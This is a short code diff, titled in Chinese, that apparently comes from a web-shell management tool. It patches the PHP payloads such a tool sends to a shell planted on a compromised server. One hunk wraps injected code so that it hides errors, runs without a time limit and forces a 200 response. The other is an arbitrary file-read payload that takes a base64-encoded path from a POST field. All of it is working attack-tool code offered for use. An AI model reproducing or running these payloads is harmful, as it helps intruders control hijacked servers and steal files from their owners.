PHP Shell 读特殊文件无返回问题

source/core/php/index.js

@@ -50,7 +50,7 @@ class PHP extends Base {
 
     // 组合完整的代码
     let tmpCode = data['_'];
-    data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`;
+    data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);header('HTTP/1.1 200 OK');echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`;
 
     // 使用编码器进行处理并返回
     return this.encodeComplete(tag_s, tag_e, data);

source/core/php/template/filemanager.js

@@ -24,7 +24,7 @@ module.exports = (arg1, arg2, arg3) => ({
 
   read_file: {
     _:
-      `$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);`,
+      `$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
     [arg1]: "#{base64::path}"
   },